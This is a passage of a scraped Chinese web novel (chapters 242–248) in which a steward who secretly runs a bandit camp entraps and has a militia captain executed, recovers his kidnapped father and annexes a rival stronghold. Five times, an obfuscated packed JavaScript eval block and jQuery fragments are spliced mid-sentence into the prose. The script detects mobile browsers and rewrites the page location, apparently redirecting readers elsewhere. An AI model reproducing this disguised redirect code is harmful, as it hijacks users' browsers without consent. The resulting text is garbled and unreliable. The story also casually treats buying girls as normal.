“听话,吃了饺子恢复得快,大不了等你伤好之后再好好感谢嫂子。” 听了严婆惜的话,李二狗差点被嘴里的饺子噎死。 他被噎得忍不住咳嗽起来,身上的伤口立刻传来一阵痛楚。 “慢点吃,看你着急的,没人和你抢。” 喂完李二狗,严婆惜又掉了一会眼泪儿。 “二狗兄弟,你大哥不在家,孩子自己在家我也不放心,我得赶紧回去了,你好好休息,明天早上我再来给你送饭。” “嫂子,不用麻烦了,医院有食堂,我让护士给我捎一点过来就行。” “那怎么能行?食堂的饭没有营养,哪有嫂子做得有营养?” “只是太麻烦嫂子了,我心里实在过意不去。” “都是自家人,说这些就见外了,你好好休息,我先走了。” 严婆惜扭着小蛮腰走了。 实话实说,她真是一个适合做老婆的女人,只是有时候太过热情,会让人招架不住。 李二狗在忐忑不安中度过了无比漫长的一个晚上。 第二天一早,**竟出现在床前。 她眼睛红肿,显然哭了很久很久,李二狗看见宋孬蛋也出现在病房门口。 李二狗一把抓住**的手,唯恐她再离开自己。 “素文,对不起,你听我解释。” “二狗,你不用解释,我都理解,像你这样的男人,注定不会只属于我一个人。” “素文,终究是我负了你,答应你的事情我没有做到,对不起!” “如果说对不起能让你只属于我一个人,那你就说一千遍一万遍,可对不起有用吗?事已至此,我只希望你不要再让更多的人伤心。” 此时,李二狗想到了静雯。 “素文,你在我心里的位置没有任何人可以取代。” 第243章 张大发上门请罪 **因为担心李二狗的伤势才选择回到医院,但回到医院并不代表她已经原谅了他。 “你别说了,先好好养伤吧。” “二狗兄弟,看我给你带什么好吃的了?” 严婆惜提着饭盒出现在病房门口,看到坐在病床前的**,笑容顿时僵在脸上。 一波未平一波又起,李二狗只觉得头都大了。 “嫂子,你怎么来了?素文,这是孙局长家的嫂子。” **脸上闪过一丝疑惑。 严婆惜今天穿了一身天蓝色绸缎紧身旗袍,勾画出她上凸下翘的好身材,**见了都有点自惭形秽。 “嫂子好。” 严婆惜是个人精,一下子便明白了房中的情形。 “这是弟妹吧?哎吆,长得可真好看,就像那画里的人一样。” 李二狗说道:“嫂子,这是**,你弟妹。” 严婆惜忙放下饭盒,一把拉住**的手,热情地说道:“弟妹啊,我经常听二狗兄弟说起你,今天总算是见到**了,看你这白白嫩嫩的小脸蛋,可真讨人喜欢。” 严婆惜脸上的笑容竟丝毫看不出矫揉造作。 李二狗特意说道:“嫂子,还得麻烦你送饭,真是让你和大哥费心了。” “兄弟,你这说的什么话?我听你大哥说了,你是为了他才受得伤,你大哥忙,特意吩咐我做了早饭给你送过来。” 严婆惜把饭盒递到**手里。 “不知道弟妹来,带的也不多,我回家再送一份过来。” **彻底打消了对严婆惜的怀疑。 “不用了嫂子,我吃得少,有一点就够了。” 严婆惜笑道:“弟妹可千万别和嫂子客气,咱们都是一家人。” “谢谢嫂子。” “好了,你们吃吧,我先回去了,孩子一个人在家我也不放心。” “谢谢嫂子惦记,素文,快送送嫂子。” “不用不用,你们快吃吧,我先回去了。” **把严婆惜送到门口,严婆惜出门前特意回头给了李二狗一个意味深长的眼神。 “嫂子真热情,看得出来,她对你是真的关心。”**一边给李二狗喂饭一边说道。 “嫂子人很好,对我一直很照顾。” 李二狗说的有些心虚,好在**并没有察觉。 “孙局长就是孙竹刚?你现在和他是兄弟?我记得他以前经常到胡家大院敲竹杠,大家私底下都嘲讽他应该姓乔。” “他现在已经升任警察局局长,虽说有些贪婪,但人还不坏,咱们山寨的事他帮过不少忙。” “你也没给他少送吧?” “礼尚往来嘛,咱们需要在政府里面有自己人。” “一边是大院,一边是山寨,你也不嫌累。” 面对**的揶揄,李二狗只能装糊涂,她还不知道省城的事,要是知道了还不知道会怎么样! 三天后,孙竹刚安排警车亲自把李二狗送回胡家大院。 李二狗和新任警察局局长孙竹刚是结拜兄弟的消息迅速传遍仙人洞镇的每一个角落。 张大发吓坏了。 思虑再三,他决定亲自前往胡家大院,无论如何都要取得李二狗的谅解。 “狗哥,张大发来了,您见不见?” 李二狗没想到张大发还敢亲自来胡家大院,他倒想听听他如何为自己辩解。 “你先带他去客厅,我一会再过去。” “狗哥,他既然送上门,咱们何不……” “二驴,有时候人活着比**更难受。” 张二驴皱着眉头出去了,李二狗高深莫测的话他一时还领会不到其中的真谛。 张大发在客厅坐立不安的时候,李二狗正在逗弄梦瑶。 都说女儿随爹,李二狗越看越觉得胡梦瑶长的像自己,简直完美继承了老李家的优秀基因。 提起基因,李二狗想到了他爹李富贵。 自从潘小莲离开之后,他彻底放飞了自我,前段时间又娶了一个黄花大闺女,日子过得要多滋润有多滋润。 也难怪他滋润,如今在农村,两块大洋就能买一个黄花大闺女,买谁家的闺女相当于救她全家。 李富贵现在正忙着给李二狗生一个小弟弟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930888|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “二狗,你不是要给我一个解释吗?”于兰芝小心翼翼地问道。 “兰芝,咱们有女儿,你放心,无论什么时候,我肯定不会抛弃你们娘俩。” 李二狗真希望于兰芝能像静雯那样识大体、明事理。 对于男人来说,有时候你抓得越紧反而越让他想逃离,谁也不想被人扼住咽喉。 “她在哪?” “一个别人都不认识她的地方。” “呵呵,也对,毕竟她以前是胡家大院的四奶奶。” “兰芝,前院还有事,晚上我再来看你们。” 于兰芝得到李二狗的承诺,内心也安定了许多。 她现在无法要求更多,谁让自己现在越来越离不开这个男人! 李二狗离开于兰芝的院子,并不打算立即去见张大发。 他来到张玲玉的院子,对她又进行了一番安抚。 直到太阳快下山时,李二狗才迈着八字步来到客厅。 张大发见到李二狗,急忙点头哈腰地迎了上去。 “李管家,您回来了。” “让张队长久等了,身上的伤有些不舒服,在屋里睡了一觉,没想到一觉睡到现在,哈哈。” 李二狗丝毫不掩饰自己对张大发的轻视。 “李管家大伤初愈,理应多休息,是我打扰您休息了。” 李二狗坐到椅子上,张大发没敢坐下,他站在离李二狗二米远的地方,低着头像一个做错事正在挨骂的孩子。 李二狗故意不说话,端起桌上的茶杯,细抿了一口。 主人端茶意味着送客,张大发又岂能不懂。 “李管家,我这次来主要是想向您解释一件事,澄清一个误会。” “奥?咱们之间有误会吗?” 李二狗的意思很明显,咱们之间的事根本不是误会。 “李管家,”张大发竟“扑通”一声跪在李二狗面前,“都是牛得水逼我那样做的,我只不过是他的提线木偶,我真的不是存心要害您啊。” “是吗?”李二狗冷冷地说道,“张队长倒是挺聪明,知道**不会出来为自己辩解。” 第244章 有些人活着,他已经** “李管家,请您相信我,真的是牛得水逼我的,我也是没有办法啊,我要不答应,他就要取消凤凰镇民团。” “我能理解张队长的苦衷。” “真的?”张大发简直不敢相信自己的耳朵。 “是啊,与你的民团比起来,我李二狗的这条贱命确实一文不值。” 张大发刚刚有所缓和的脸色又变成了酱紫色。 “李管家,我张大发被猪油蒙了心,一时鬼迷心窍才做出对不起您的事情,请您大人有大量,就把我当个屁,放了吧。” 李二狗此时很鄙视张大发,为了活命可以连自己的尊严都不要。 但求人也得有个求人的态度,他竟然空着手来求人,李二狗深深地鄙视他。 “张队长,咱们都是成年人,成年人就要对自己的行为负责,你说我说的对吗?” 张大发机械般地点了点头,又猛地摇了摇头,他实在不知道该如何回答这个问题。 如果张大发只是向县政府举报自己,李二狗可能会饶他一次,但他却趁着自己被抓的时候**胡家大院,这是他绝对不能忍受的。 如果不是李二狗机警,提前做了戒备,张大发一旦攻入胡家大院,会发生什么可想而知。 这是李二狗不能饶恕他的地方! 敢打我女人和孩子的主意,一定要让你付出血的代价! 这是李二狗的底线,任何人都不能挑战! “张队长还有什么事吗?没有的话我就去休息了,这身上的伤口啊,即使它痊愈了,也会时常让人感到不舒服,时刻提醒你不能忘记发生过什么。” “李管家,我怎样做您才能原谅我,您还是明说吧。” “张队长,我这个人有个缺点,嫉恶如仇,喜欢睚眦必报,你千万不要介意。” 李二狗说完就起身离开了,张大发跪在地上呆若木鸡。 张二驴站在门口,冷笑道:“张队长,我们李管家说今天就不留你吃饭了,你请便吧。” 张大发试图站起来,连续起了好几次都没有成功。 张二驴站在原地冷眼旁观,丝毫没有上前帮忙的打算。 张大发只能扶着旁边的椅子才勉强站立起来,腿哆嗦的几乎无法站立。 他慢慢地踱出房门,夕阳下的背影显得十分寂寥。 “狗哥,和他废什么话?干脆我派两个人在路上除掉他。” “除掉他很容易,但这样除掉他,并没有什么意义,咱们应该让他死的有价值,让全县的人都知道,和咱们胡家大院作对就是找死!” “看他那猥琐的样子,我就生气,哎,实在是丢人!” “有些人活着,他已经**!二驴,你就等着看好戏吧。” 第二天,李二狗来到清风寨。 **对他的态度还是十分冷淡。 “素文,还生我气呢?我知道错了,你别生我气了。” “我哪里有资格生你的气?咱俩既没有婚书,也没有生养,只不过是恰好碰见,一起过日子罢了。当然一起过日子也谈不上,你只是偶尔来我床上留宿罢了。” **说的话越刻薄,内心就越痛苦,李二狗又何尝不是? 他知道此时说什么**都听不进去。 他一把抱住**。 “放开我,放开我……” **越挣扎,李二狗反而抱得越紧,两颗心贴得越近,隔阂就会越少。 **掐他、咬他,李二狗都不管不顾,只是紧紧地抱着她。 “我恨死你了,李二狗。” “我也恨我自己,可是我爱你,素文。” **终究还是屈服了,她趴在李二狗的胸口抽泣,大颗大颗的泪珠滴落在他的胸口上。 “狗哥。” 正当两人准备深入交流时,陈老三不合时宜地推门走了进来。 **急忙离开李二狗的怀抱,转身去擦眼泪。 “你**进来前不会敲门吗?” 陈老三嘿嘿一笑,说道:“狗哥,大白天的哪想到你们……嘿嘿,下次我一定敲门。” “什么事?” “你猜谁来了?” 李二狗没好气地问道:“谁?” “张大发!” “他来干什么?” “他要见你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936117|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' !” “见我?” “奥,不对!他要见清风寨老大。” 李二狗已经大体猜到张大发来清风寨干什么。 “十分钟后把他带到议事厅,让孬蛋他们几个都过去。” “好嘞,我这就去告诉他们。” 陈老三走后,李二狗说道:“我去开会,一会儿再回来陪你。” **只是“嗯”了一声,并没有说话。 李二狗知道,离他俩彻底和好只差床上那一哆嗦。 议事厅里,李二狗蒙着面坐在会议桌正中央。 “孬蛋,等会你来问他。” “放心吧狗哥,我知道怎么对付这个王八蛋。” 众人坐定之后,张大发被人带进议事厅。 “各位清风寨的好汉,你们好,鄙人凤凰镇民团队长张大发,久仰各位英雄大名,今日特来拜会。” “久仰我们大名?那你说说我们是谁?” 张大发愣住了,他没想到自己的一番客套说辞,对方竟较起了真儿。 “那个……咳咳,各位英雄好汉的大名虽然鄙人并不知晓,但清风寨的大名却是如雷贯耳。” “少他妈扯淡,有话就说,有屁就放,爷爷们没功夫陪你在这里扯闲篇。” 张大发没想到自己堂堂凤凰镇民团队长的名号在这里竟这么不受待见,更没想到这些人如此不讲武德,连让他坐下的客套话都不愿说。 “鄙人今天来清风寨是有一个发财的机会想送给各位当家的。” 陈老三骂道:“你**能有这好心?爷爷怎么这么不相信!” 张大发看陈老三有些面熟,但一时也想不起在哪里见过。 “如果我说谎,各位当家的可以立刻毙了我,我绝无二话。” “来人,把这个人拖出去毙了!” 张大发吓懵了。 “别别别,我说的都是真的。” 李二狗给宋孬蛋使了个眼色,宋孬蛋便挥手让人先退下。 “说说吧,什么发财的机会?” 张大发清了清嗓子,故作神秘地问道:“各位当家的都听说过胡家大院吧?” 第245章 李二狗将计就计 “胡家大院谁没听说过?它怎么了?” “你们可能不知道,胡家大院现在存有上百万斤小麦,那可都是白花花的现大洋啊。” 李二狗着实吓了一跳,张大发如何知道胡家大院有大量的存粮? 他故意说上百万斤粮食肯定是为了吸引清风寨去抢,但这个消息又是怎么泄露出来的? 不过想想也并不奇怪,胡家大院加上几个铺子得有上百口人,人多嘴杂,消息肯定是瞒不住! 李二狗以前一直以为自己做得神不知鬼不觉,原来只不过是他的一厢情愿罢了。 宋孬蛋瞅了一眼李二狗,李二狗示意他继续问下去。 “上百万斤小麦?你不会是唬人吧?这年月,谁家能有那么多粮食?” “这位当家的,我不骗你,胡家大院几个仓库里都堆满了粮食,没有一百万斤至少也得有四五十万斤。” 宋孬蛋质问道:“既然有这么好的发财机会,你告诉我们干什么?” 张大发上前一步,笑得脸上的囊褶子都平整了许多。 “嘿嘿,这么多粮食仅凭我们民团的力量根本吃不下,所以想和清风寨的好汉们一起,大家有财一起发。” 宋孬蛋冷笑道:“你是吃不下还是吃不了?想拿我们清风寨当枪使?谁不知道前两天胡家大院发生的事?两挺机关枪一响,十几个人血溅当场!” 陈老三猛地一拍桌子,骂道:“娘的,这是想害咱们啊,老子一**了你。” 说着就掏出驳壳枪一把拍在桌面上。 张大发吓得脸都绿了,心想,这些土匪怎么一言不合就掏枪! “各位当家的先不要着急,我有一个绝佳的好主意,可以不费一枪一弹拿下胡家大院。” “奥?你倒是说说看。” “明天晚上我带几个人先去胡家大院,到时候你们等我信号,咱们可以里应外合,一举拿下胡家大院。” 李二狗没想到张大发心肠如此歹毒,自己正愁没有合适的机会宰了他,他倒好,自己送上门。 宋孬蛋瞅了一眼李二狗,李二狗轻轻地点了点头。 “那好吧,我们就合作一次,不过,到时候这粮食怎么分啊?现在必须得讲好。” “四六分怎么样?你们清风寨拿大头。” “好,明晚胡家大院见!” 张大发走后,陈老三骂道:“这**真是找死!狗哥,你为何不让我现在就宰了他?” “想让他死很容易,但这样的人应该让他死得有价值,我要通过他在全县立威,让所有对胡家大院怀有坏心思的人**那份心!” 宋孬蛋说道:“狗哥,明天我带些人下山配合你。” 最懂李二狗的还是宋孬蛋。 “好,明天一早我去趟县城找找孙竹刚。” 第二天黄昏,天色渐渐暗了下来,空中还飘着小雨。 张大发带着几个人,抬着一头杀好的野猪和几坛子酒来到胡家大院。 李二狗亲自接待了他。 “李管家,以前是我不懂事,无意中得罪了你,为了表达歉意,我今天亲自进山杀了一头野猪,送给李管家赔罪。另外,以后我们凤凰镇民团愿意免费为胡家大院提供保护。” 李二狗听后显得很高兴,说道:“张队长如此有诚意,如果我还揪着过去的事不放,就显得有些不识抬举了,今晚别走了,我吩咐厨房把这头野猪炖了,咱们兄弟不醉不归。” 张大发没想到李二狗这么容易就上了当,竟还主动留下自己喝酒,看来胡家大院真是气数已尽,天都要亡它。 “李管家,敞亮!今晚咱们一醉方休。” 一片欢歌笑语中,野猪宴开席了。 “哥俩好啊,三星高照,四季财啊,五魁首啊,六六顺啊,七个桥啊,八匹马啊,九你喝啊,全来到啊……” 很快李二狗就喝得烂醉如泥,趴在桌子上睡着了。 “李管家,李管家,你别睡,咱们接着喝。” 李二狗的鼾声响了起来。 张大发给带来的几个人使了个眼色,按照提前制定的计划,他们分别摸向角楼和大院门口。 很快角楼处就传来通过手电筒传递的信号。 张大发看着趴在桌上酣睡的李二狗,兴奋不已。 他从兜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936118|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 掏出一颗“信号弹”,走到院子中间,手举向空中,拉掉引信,“嘭”的一声,循声望去,只见天空中一蓬亮丽的烟花刹时绽开,姹紫嫣红,就像一朵巨大的荷花突然打开花蕾。 大院外瞬间响起了此起彼伏的**。 张大发兴奋异常,口中念道:“李二狗啊李二狗,今天就是你的死期!” “张队长,你是在说我吗?” 张大发惊讶之中猛回头,看到李二狗正站在门口,一脸微笑地看着他自己。 “你……你没有喝醉?” “哈哈,白开水怎么会喝醉呢?” “你……李二狗你不要太嚣张,清风寨的人马上就要冲进来了,识相的赶紧投降,我可以给你留个全尸。” “张队长,你先回头看看四周。” 张大发狞笑着回过头,顿时愣住了。 外边的**此起彼伏,可胡家大院大门口的几个家丁却满脸笑容地看着自己,旁边站着几个他带来的民团队员,全部被五花大绑。 角楼的灯笼亮了起来,几个人微笑着朝他挥手。 他这才意识到,自己上当了! “李二狗,我和你拼了!” “砰!” “啊!” 张大发的手腕被张二驴射出的**击中,刚刚掏出的驳壳枪掉落在地上。 “张大发,你举报陷害我在先,勾结土匪**我胡家大院在后,我实在是没有理由饶恕你!” “哼,今天落到你手里算我倒霉,要杀要剐,悉听尊便!” “杀你也不用我动手。” “二狗兄弟,大哥来晚了,让你受惊了!” “大哥,没想到您亲自带队,真是辛苦了!” 张大发看着孙竹刚神气活现的样子,知道一切都结束了。 孙竹刚亲自带队,击毙清风寨土匪数十人,救了胡家大院上百口,李二狗专门前往县政府,敲锣打鼓送去一面感谢锦旗。 王正直和孙竹刚受到省政府通令嘉奖。 张大发勾结清风寨土匪,**胡家大院,被公开枪决。 随后,凤凰镇民团**家大院收编,张二驴亲任队长。 第246章 李富贵被** “狗哥,狗哥,大事不好了,出事了。” 张二驴慌慌张张地跑进院里,李二狗正打着哈欠刚刚起床。 “二驴,看你这慌慌张张的样子,又出什么大事了?” 张二驴把手里的一封信交给李二狗。 “狗哥,土匪……这是土匪刚刚送来的勒索信。” 灾年生乱象,江东县地处太行山区,山高林密,众多走投无路的百姓纷纷落草为寇。 一时间,江东县及周边地区出现了大大小小十余伙土匪。 老实巴交的老百姓一旦当上土匪,立马学会了打家劫舍、**掳掠,好像只有胡作非为才是土匪的标配。 正应了那句古话,可怜之人必有可恨之处。 李二狗急忙接过勒索信,问道:“家里谁出事了?” “不是咱们大院的,是……是你家李大叔。” “什么?” 李二狗大吃一惊,赶紧打开勒索信。 李二狗先生大人尊鉴: 山高水长,久仰清名。闻君仁厚持家,乐善好施,乡里称颂,本不应惊扰清梦。然天灾频仍,民不聊生,我等困守穷谷,炊烟难继,万般无奈,唯借外助以延残喘。 今特奉书一通,恳请赐大洋两千,以为赈济孤寡之资。此非劫掠,实乃暂借,他日时运转顺,必当加倍奉还,立约为证。 若三日内见银于西岭古庙石龛之下,自有人取走,绝不伤令尊分毫,亦不扰及胡家大院。倘迟疑不决,或报官设伏,则恐风雨骤至,屋瓦难全——非我所愿,实势使然也。 江湖路远,后会可期。望君三思,勿令血染秋霜。 青山寨主野狼顿首 辛未年十月初七 李二狗没想到这个叫野狼的土匪还是一个有文化的土匪,勒索信文辞典雅,书法也见功力,但客气礼貌之外却暗藏杀机,令人不寒而栗。 “这个青山寨在什么地方?怎么以前从来没有听说过?” “我已经派人去打听了,应该是一伙新上山的土匪。” “这伙土匪真是不知天高地厚,绑票之前也不查查黄历,竟然绑到老子头上了!” “狗哥,你不要着急,等打听到青山寨的下落,我立即带领兄弟们冲上山救出李大叔。” 土匪山寨一般都建在地势险要之处,易守难攻,如果贸然攻山,肯定会造成不小的伤亡。 “二驴,没有我的命令之前,千万不要轻举妄动,我现在出去一趟,一切等我回来再说。” 张二驴以为李二狗是去县城找孙竹刚。 “狗哥,咱们要是现在报官,一旦被土匪得知,李大叔可能会有危险啊,土匪在县城一般都安插了眼线。” “放心吧,我心里有数。” 李二狗直接上了清风寨。 “孬蛋,你听说过青山寨吗?” “在西岭那边新起了一伙土匪,山寨名字好像就叫青山寨。**,这名字起得有山寨咱们清风寨的嫌疑。” 李二狗此时可没有心情和宋孬蛋说笑,正色道:“他们有多少人?” 宋孬蛋看李二狗如此严肃,便收起笑容。 “目前不清楚,估计也就七八个人,狗哥,出什么事了?怎么想起问这个?” 李二狗从兜里掏出勒索信递给宋孬蛋。 宋孬蛋看过之后大声骂道:“这群土匪简直是吃了熊心豹子胆,竟敢**李大叔,我现在就带人去宰了他们。” “孬蛋,稍安勿躁,区区七八个土匪实在没有必要舞刀弄枪。再说我爹被土匪绑票,清风寨却出面搭救,传出去恐引起不必要的麻烦。” 宋孬蛋知道李二狗心中必然有了主意。 “狗哥,我们该怎么做,你就吩咐吧。” 李二狗附耳一番,宋孬蛋喜笑颜开。 傍晚时分,宋孬蛋带着几个人抬起一扇猪肉四坛美酒来到青山寨下。 “站住!你们是什么人?” 两个土匪从密林中窜出,手里的火铳对准了宋孬蛋。 站在宋孬蛋身后的一个人说道:“我们是清风寨的,这是我们当家的宋孬蛋,特地前来拜会你们大当家野狼。” 清风寨声名远播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936119|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,在江东县的土匪山寨中是巨无霸一般的存在,谁人不知谁人不晓。 “那你们在这里等着,我马上去向我们大当家的报告。” 很快,一个身穿夹皮袄的青年男子就快步迎了出来。 “鄙人张清明,敢问哪位是宋当家的?” 宋孬蛋迎上去,说道:“鄙人清风寨宋孬蛋,久闻青山寨野狼的威名,今日得见,果然非同凡响。” “哈哈,让宋当家的见笑了,这种名字就是用来唬人的,和你们清风寨比起来,简直是不值一提,宋当家的,快里面请。” 来到青山寨门口,看上去规模果然很小,但是上山只有一条窄山路,山寨大门建在两块巨石之间,两侧全是悬崖峭壁,确实有一夫当关万夫莫开之势。 “张大当家的,你们青山寨选得这个位置实在是妙啊,一挺**架在这里,可抵百万雄兵啊。” “哈哈,宋当家的过奖了,里面请。” 进入青山寨,是一大片平地,里面的建筑却非常简陋,只有两排木头屋子,宋孬蛋暗中推测,青山寨最多不会超过十个土匪。 “张大当家的,我们大哥非常敬仰您的威名,特意令我送来一扇猪肉四坛美酒,还请张大当家的收下,千万不要嫌弃。” “哎呀,这怎么敢当?应该是我们去拜访大当家的才对。” 在江东县及其周边的土匪心目中,清风寨大当家是一个谜一样的存在,大家只知道他一直蒙面示人,极少有人见过他的真实面目。 “四海之内皆兄弟,张大当家的,咱们两家山寨离得这么近,以后理应多相互走动才是。” 张清明喜出望外,结交清风寨一直是他的梦想,没想到幸福竟来得如此突然。 “宋当家的,我张清明何德何能能得到清风寨的垂青,今天您别走了,我这就吩咐人炖肉,咱们一醉方休。” “张大当家的,如若不嫌弃,咱们以后就以兄弟相称如何?” “宋二哥,请受小弟一拜。” “张兄弟,快快请起。” 第247章 兼并青山寨 夜幕降临后,青山寨燃起一堆篝火,几个人围聚在一起大碗喝酒、大块吃肉。 “兄弟,这里没有外人,让兄弟们都一起来喝酒吃肉吧。” “宋二哥,不怕你笑话,除了寨门口留了两个站岗的兄弟,剩下所有人都在这里了。” 宋孬蛋暗中数了数,只有七个人。 “兄弟,你这青山寨的位置易守难攻,简直是**挑一的宝地啊,怎么才这么几个兄弟?” “哎,二哥有所不知,青山寨不比你们清风寨,就这几个兄弟,我们还是吃了上顿没下顿,兄弟们手里拿得还是老炮筒和大刀红缨枪,想**个大户都不敢,好在这种局面很快就要改观了。” “兄弟此话怎讲?有发财的路数了?” “不瞒二哥,昨天我们刚绑了一个大肉票,是胡家大院李二狗的亲爹,我已派人送去赎票,要二千块大洋,不信他敢不给。” “谁?李二狗的亲爹?”宋孬蛋吓得碗里的酒都撒了出来,“兄弟,你可是惹下大祸了!” 张清明闻听此言,不由得吃了一惊。 “二哥何出此言啊?” “你知道李二狗是谁吗?你竟敢**他亲爹!” “我知道啊,胡家大院管家。” “你是只知其一不知其二,听说李二狗神通广大,他是县警察局长孙竹刚的结拜兄弟,凤凰镇民团队长张大发听说过把?前两天就是因为得罪了他,被县政府**了。” 张清明吓出一身冷汗。 “另外胡家大院家丁众多,听说光机关枪就有七八挺,还有迫击炮,最近又刚刚收编了凤凰镇民团,你怎么敢绑他爹啊?” 张清明以前只知道李二狗是胡家大院的管家,却没想到他背景竟如此强大。 “我现在绑了他爹,他敢不交大洋?”张清明依然嘴硬道。 “就算这次他给了你大洋,你以为你有命花吗?你这山寨能扛得住机关枪和迫击炮?他就是什么都不做,把下山的路封锁上十天半个月,你们怎么生存?” 张清明吓坏了,急忙问道:“二哥,那我现在怎么办?” “兄弟,都是自己人,我就不瞒你了,我们大当家的和李二狗有些私人交情,你现在马上把他爹送下山,我回去找我们大当家的在中间给说和说和,也许他会既往不咎。” “那就谢谢宋二哥了,明天一早我就安排人把他送下山。” “兄弟,你还敢等到明天?说不定今天晚上你这山寨就被人用大炮轰平了,赶紧现在送下山。” “宋二哥说的对,我这就安排。来人,赶紧把肉票送下山,一定要注意态度。” “兄弟,有句话我不知当讲不当讲?” “宋二哥,但说无妨。” “世事艰难,你们就这点人这几杆枪,想生存下去着实不易,不如加入我们清风寨,大家携起手来共图大业。” 张清明饱读圣贤书,如果不是生活所迫,他绝不会落草为寇。 虽然已经落草,但他心中一直有一个梦想,清风寨的寨规他早有耳闻,完全符合他对未来的想象。 “宋二哥,小弟求之不得,只是不知道你们大当家的愿不愿意?” “兄弟放心,我回去之后就向我们大当家的汇报你这里的情况,你就擎好吧。” “谢谢二哥,来,咱们再干一碗。” 喝过酒之后,宋孬蛋就下了山。 李二狗为了以防万一,还制定了第二套计划。 如果张清明不放人,就趁青山寨的人喝醉之后,和宋孬蛋里应外合,一举拿下青山寨。 没想到宋孬蛋凭借着自己的三寸不烂之舌轻易忽悠张清明立马放了李富贵。 宋孬蛋刚出青山寨的大门,就遇到在路边埋伏的张石头。 “蛋哥,怎么回事?刚才我看到有人把李大叔送下山了?” “石头,情况有变,我们回去再说。” 回到清风寨,宋孬蛋便把事情的经过告诉了李二狗。 “狗哥,青山寨的位置真是百里挑一,我建议咱们一定要收编青山寨,作为咱们清风寨的分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940297|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 寨,以后万一遇到紧急情况也好多一条后路。” “孬蛋,你的建议非常好,那就收编了它,但是张清明不能继续留在青山寨,等重新建好之后,必须派一个咱们自己的人过去驻守。” “狗哥,你可真是老猎手啊,比狐狸还精。” “哈哈,孬蛋,虽说用人不疑,但有些人我们也不得不防啊。” 第二天,张清明独自一人来到清风寨。 李二狗依然蒙着面,坐在聚义堂正中,陈老三、宋孬蛋、陈嘎子、张石头和秀才分居两侧。 经过一段时间的考察,李二狗正式把秀才提拔为清风寨的经理。 当秀才看到李二狗的真实面目时惊得目瞪口呆,他万万没想到堂堂胡家大院的管家、警察局长的结拜兄弟竟是清风寨的土匪头子,心中也越发佩服他的机智才干。 “鄙人张清明,拜见各位当家的。” “张兄弟不要客气,请坐。” 李二狗给宋孬蛋使了个眼色。 宋孬蛋说道:“张兄弟,你打算加入清风寨的事我已经和各位当家的说了,大家一致同意你们青山寨加入。” 张清明立即站起身来,拱手道:“感谢各位当家的厚爱,我张清明加入清风寨之后,一定遵守山寨的各项规定,服从各位当家的命令,为山寨宏图伟业贡献自己的绵薄之力。” 宋孬蛋笑道:“青山寨的加入令清风寨如虎添翼啊,张兄弟,我马上派人去帮青山寨的兄弟全部搬到清风寨。” 张清明犹豫了一下,还是说道:“各位当家的,我有一个建议不知道当讲不当讲?” “张兄弟,请讲。” “青山寨占据天险,易守难攻,我建议保留青山寨,作为清风寨分寨,以备不时之需,兄弟愿意在青山寨为各位当家的分忧。” 宋孬蛋说道:“张兄弟所言极是,我们已经决定重新建设青山寨,作为清风寨的后勤基地,至于张兄弟能不能留在建成后的青山寨,得由清风寨寨务会研究之后才能决定。” 第248章 和老大的意见保持一致 张清明对清风寨寨务会早有耳闻,知道那是清风寨的最高决策机构,现在自己身单力薄,寨务会研究决定实际相当于否定了他的建议。 